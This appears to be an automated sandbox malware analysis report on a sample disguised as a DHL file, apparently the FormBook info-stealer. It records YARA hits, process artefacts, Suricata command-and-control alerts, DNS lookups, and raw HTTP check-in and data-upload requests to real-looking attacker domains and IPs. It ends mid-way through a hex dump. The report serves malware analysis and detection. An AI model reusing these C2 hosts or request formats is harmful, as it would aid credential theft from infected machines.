Windows Analysis Report
DHL_734825510.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2661754226.00000000094A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817215327.0000000002DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2655581470.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4815713074.00000000028B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817376568.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4817056266.0000000005200000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2656279373.00000000065E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: DHL_734825510.exe

Joe Sandbox ML: detected

Source: DHL_734825510.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: RsbLJIqaDYs.exe, 00000005.00000002.4816396248.0000000000CBE000.00000002.00000001.01000000.00000005.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4816788031.0000000000CBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000002.00000003.2560509259.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558405419.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2668011132.0000000002E5A000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2665704256.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.0000000003000000.00000040.00001000.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.000000000319E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000002.00000003.2560509259.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558405419.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, regini.exe, regini.exe, 00000006.00000003.2668011132.0000000002E5A000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2665704256.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.0000000003000000.00000040.00001000.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.000000000319E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: regini.pdbGCTL source: svchost.exe, 00000002.00000003.2623797499.0000000003424000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2623732089.000000000341B000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816604781.0000000000F28000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: regini.exe, 00000006.00000002.4819056247.000000000362C000.00000004.10000000.00040000.00000000.sdmp, regini.exe, 00000006.00000002.4815970575.0000000002A7E000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.0000000002D0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.3062068304.00000000182BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: regini.exe, 00000006.00000002.4819056247.000000000362C000.00000004.10000000.00040000.00000000.sdmp, regini.exe, 00000006.00000002.4815970575.0000000002A7E000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.0000000002D0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.3062068304.00000000182BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: regini.pdb source: svchost.exe, 00000002.00000003.2623797499.0000000003424000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2623732089.000000000341B000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816604781.0000000000F28000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\regini.exe

Code function: 6_2_028CC7B0 FindFirstFileW,FindNextFileW,FindClose,

6_2_028CC7B0

Source: C:\Windows\SysWOW64\regini.exe	Code function: 4x nop then xor eax, eax	6_2_028B9F10
Source: C:\Windows\SysWOW64\regini.exe	Code function: 4x nop then pop edi	6_2_028BE37A
Source: C:\Windows\SysWOW64\regini.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_02EE0525

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49722 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.12:49722 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49728 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49726 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49719 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49725 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49718 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49717 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49715 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49715 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49756 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49734 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49720 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49734 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49772 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49772 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49750 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49767 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49720 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49723 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49789 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49724 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49724 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49721 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49794 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49800 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49809 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49809 -> 38.47.207.164:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49833 -> 208.115.225.220:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49827 -> 208.115.225.220:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49843 -> 208.115.225.220:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49849 -> 208.115.225.220:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49849 -> 208.115.225.220:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49886 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49892 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49898 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49908 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49908 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49941 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49929 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49948 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49948 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49935 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49964 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49973 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:49979 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:50001 -> 104.21.90.137:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:49985 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:49985 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:50007 -> 104.21.90.137:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:50023 -> 108.179.253.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:50022 -> 108.179.253.197:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:50025 -> 108.179.253.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:50016 -> 104.21.90.137:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:50025 -> 108.179.253.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.12:50024 -> 108.179.253.197:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.12:50021 -> 104.21.90.137:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.12:50021 -> 104.21.90.137:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.egldfi.xyz
Source:	DNS query: www.egyshare.xyz
Source:	DNS query: www.dating-apps-az-dn5.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 209.74.77.107 209.74.77.107

Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8ewn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=MQU8hgqJCfJkKwurq5QXSTcsAScUHw3Ryuy9I29ewyrFHLJiO5EUJc8dhjLhkP1w+kMFiKX1Jf9ni3jKt1WG/ZpblKXuHNDxI7tmrBLFv1SmPdd+ShDH4FU= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.remedies.proConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /440l/?BHptZ6F=9t5r8PtstBUGfqpIeh5XnEiswD9luMiEeVsajtw7Z3dqDkGB8mLGChY9CqfKEaHyEvKJDzANYYXJmO8Xh0K1SfJD5xex/OhwsPZZ5DEaSUshfqY+26Bd8yM=&RZ=0nkpmZbx9Z4P2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.egyshare.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8mlm/?BHptZ6F=Dou+d174n903Q5s8eGVlbncTBC0Rpufru8Nex+2NzpzCLkW84PIBEnPU/VIOuudaHO13J+F+WsJAELWMIa4GeHkI0XjsMpOmPR3vOajhWYhkzVz3w31CV1o=&RZ=0nkpmZbx9Z4P2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.appsolucao.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3ifu/?BHptZ6F=u5oj/oWevlm54LOT1+Bryx675u+IDrtDZr257qJzt/2kXoBMan19x+0MdpxIfeL/WChZbD4JNYT/SNFPC81SuzkGtR7263FvFtQ21l4S/sR8VHVbXOTd4oM=&RZ=0nkpmZbx9Z4P2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.samundri.onlineConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4ii9/?RZ=0nkpmZbx9Z4P2&BHptZ6F=DCK/bgCIPtpt2RJApr/S57a5c6dyUmc4/YRC2H7mEi+GV8MabGqvART7ZhzmedatEBHVT2HbXE2R9ehhzokwzGc74R/EcNhRi8s6fgxoYqpZFSK7yfL6tiw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.happyjam.lifeConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /sa1b/?BHptZ6F=XYHJVoT0LuIOm26Tyq9N91avW6u0HKWTSvSmIrnltmLk6JYzFfgCVHRXJm9nnHtkqw/GQg9hdUic1chKWcYHIwgC/tmXBuLbW2sUc5PcpWY1XILnhN44V5I=&RZ=0nkpmZbx9Z4P2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.t19yd.topConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gua3/?RZ=0nkpmZbx9Z4P2&BHptZ6F=PEExTvPebnfdN5xst02JMzGti5FnGkiLE22WiywfEIelsbdwqCVd6ByVLBEklw1lRQ+mhNbJQBi9PlJBFsZX42nwE3ew6u8Wba+OVKdJMXKWWGbfqYbjt0U= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.atendefacil.infoConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /k4tn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=UszxsXnyXaHrix4mOaqJD7vMyBmxMOeCUNKfuMYEqjdUerJZ7q+fEOQwPEbVbpTJrGRa9GB6/NRWLuSsaWPLUhjS0DDan+QLtyBM3L4kv6zOvH8nY/xHjUE= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.sitioseguro.blogConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /tskk/?BHptZ6F=o5GB+IawIAU5T0thXdQTAhCz8F67YQPQT/nwZCkciWz+LkCAD5WzKPOp+WFYKDZnS0ikteADWtOd2j97JYt8nhoktlw8l2JH1Fe3FVr0kJJ2WjNY2yZGKR8=&RZ=0nkpmZbx9Z4P2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.dating-apps-az-dn5.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /27s6/?RZ=0nkpmZbx9Z4P2&BHptZ6F=3HPpqXJ7+KzZdUbztAJQoIdlDoC5J9hYXz+VcheInCeAf0Mmt05i/k62iF4aOsJa+VYW+vyKTPXBSx5msm7TgI/vrOYQcOVU79uPxUHt14iAAYzPN76r48s= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.whisperart.netConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ez1t/?BHptZ6F=6fEYs/GnwtqWMztB9xFdTpyVwIgq4y66Lrjdt5EE8ztyQFcx1ZWnbcrnPkjaT/5aXxdNApMw2aINlctYTPbgIAplS4neSxI29SjRMg4iVPNQf+tma6zkIeo=&RZ=0nkpmZbx9Z4P2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.ana-silverco.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6hSeAFIxekhL2UZBCo0je72bj3vEDDI4oJlEiagEhjxGQsrVSq8B3cYE1WLpspuVk6wMXVtPZnEUyIhQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.bloodbalancecaps.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.betmatchx.online
Source: global traffic	DNS traffic detected: DNS query: www.egldfi.xyz
Source: global traffic	DNS traffic detected: DNS query: www.remedies.pro
Source: global traffic	DNS traffic detected: DNS query: www.egyshare.xyz
Source: global traffic	DNS traffic detected: DNS query: www.appsolucao.shop
Source: global traffic	DNS traffic detected: DNS query: www.samundri.online
Source: global traffic	DNS traffic detected: DNS query: www.happyjam.life
Source: global traffic	DNS traffic detected: DNS query: www.t19yd.top
Source: global traffic	DNS traffic detected: DNS query: www.atendefacil.info
Source: global traffic	DNS traffic detected: DNS query: www.uynline.shop
Source: global traffic	DNS traffic detected: DNS query: www.sitioseguro.blog
Source: global traffic	DNS traffic detected: DNS query: www.dating-apps-az-dn5.xyz
Source: global traffic	DNS traffic detected: DNS query: www.whisperart.net
Source: global traffic	DNS traffic detected: DNS query: www.ana-silverco.shop
Source: global traffic	DNS traffic detected: DNS query: www.bloodbalancecaps.shop

Source: unknown

HTTP traffic detected: POST /440l/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USAccept-Encoding: gzip, deflate, brHost: www.egyshare.xyzOrigin: http://www.egyshare.xyzContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Connection: closeContent-Length: 204Referer: http://www.egyshare.xyz/440l/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36Data Raw: 42 48 70 74 5a 36 46 3d 77 76 52 4c 2f 37 41 6a 6a 45 63 5a 49 4a 5a 47 53 48 64 42 7a 55 76 70 79 43 4e 67 6c 59 4f 65 53 48 45 37 73 71 4a 42 62 6d 70 67 42 33 32 50 78 6b 6a 48 4c 57 6b 33 4f 62 72 45 66 4f 54 2f 41 2b 65 77 50 30 46 47 65 4e 48 72 6d 2b 49 71 2b 56 66 48 5a 76 74 36 37 54 36 57 39 73 39 72 69 50 6c 38 6d 56 63 34 46 52 4d 35 62 4d 5a 4d 39 5a 4a 58 39 6c 6d 4c 73 41 73 33 47 74 70 31 48 33 50 30 31 6e 44 2b 34 63 38 62 68 69 42 72 6e 34 38 55 6a 70 6f 65 66 55 5a 34 42 65 49 62 71 2f 63 68 47 7a 73 57 35 2b 65 73 31 66 31 6f 6b 62 69 34 74 52 77 49 38 43 63 64 4a 78 2b 48 44 77 3d 3d Data Ascii: BHptZ6F=wvRL/7AjjEcZIJZGSHdBzUvpyCNglYOeSHE7sqJBbmpgB32PxkjHLWk3ObrEfOT/A+ewP0FGeNHrm+Iq+VfHZvt67T6W9s9riPl8mVc4FRM5bMZM9ZJX9lmLsAs3Gtp1H3P01nD+4c8bhiBrn48UjpoefUZ4BeIbq/chGzsW5+es1f1okbi4tRwI8CcdJx+HDw==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:07 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 